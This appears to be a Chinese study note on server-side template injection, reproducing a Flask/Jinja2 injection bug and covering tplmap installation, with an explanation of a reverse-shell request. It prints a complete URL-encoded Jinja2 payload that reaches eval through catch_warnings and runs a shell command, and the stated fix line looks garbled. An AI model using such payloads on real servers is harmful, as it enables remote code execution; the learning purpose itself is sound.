🗒️ssti基础+flask漏洞复现+tplmap
2023-11-8
| 2023-12-29
字数 1198阅读时长 3 分钟
type
status
date
slug
summary
tags
category
icon
password
😀
开头先贴一张ssti的各语言模板(百度的)
notion image

ssti基础

注释,语句,输出 见代码块
python2的任意文件读取代码

flask漏洞复现

源代码:
修复只需要t = Template("Hello " + {{name}})
 
直接拼接name导致的模板注入:
利用:测试漏洞点
notion image
试着读取类:?name={{%20%27%27.__class__.__base__.__subclasses__()%20}}
notion image
完整payload:
?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
notion image

tplmap安装与使用

github 直接搜
需要使用python2
linux:
pip2 install -r可能会报错error: invalid command ‘egg_info‘
解决办法:
pip2 install --upgrade pip setuptools
pip2 install pwntools
之后再次运行pip2 install -r
使用语句:
notion image
反弹shell数据包:
分解这个示例,以便更详细地解释它:
这部分代码似乎是注入攻击的一部分,其中 {{2812966731}}{{''}} 之间可能包含了一个漏洞点。这种注入通常会寻找模板引擎的漏洞,以插入恶意代码。
这一部分设置了一个名为 d 的变量,该变量包含一个经过编码的 Python 代码。它使用 base64 解码来运行 __import__('base64').urlsafe_b64decode('...')
这个部分开始迭代所有对象的子类,查找潜在的 catch_warnings 类。
这一行检查迭代的类是否具有名称为 catch_warnings 的类。
如果 ccatch_warnings 类,那么这一行将迭代 c 类的 __init__ 方法的全局变量。
这一行检查全局变量 b 是否是一个空字典。
这一行检查字典 b 是否包含一个名为 eval 的键。
如果存在 eval 键,那么这里使用 d 中的代码执行 eval 函数,这是一个潜在的漏洞点。
最后,这部分可能是为了绕过一些模板引擎的安全措施。
这个示例的主要目标是在服务器端执行恶意代码。攻击者试图利用 catch_warnings 类的漏洞,通过迭代全局变量,找到包含 eval 函数的全局变量,然后执行包含在 d 中的代码,这种漏洞利用可以导致服务器端的远程代码执行。
 
notion image
  • 漏洞复现
  • 02-熊海cmsysoserial初应用和weblogic漏洞原理分析
    Loading...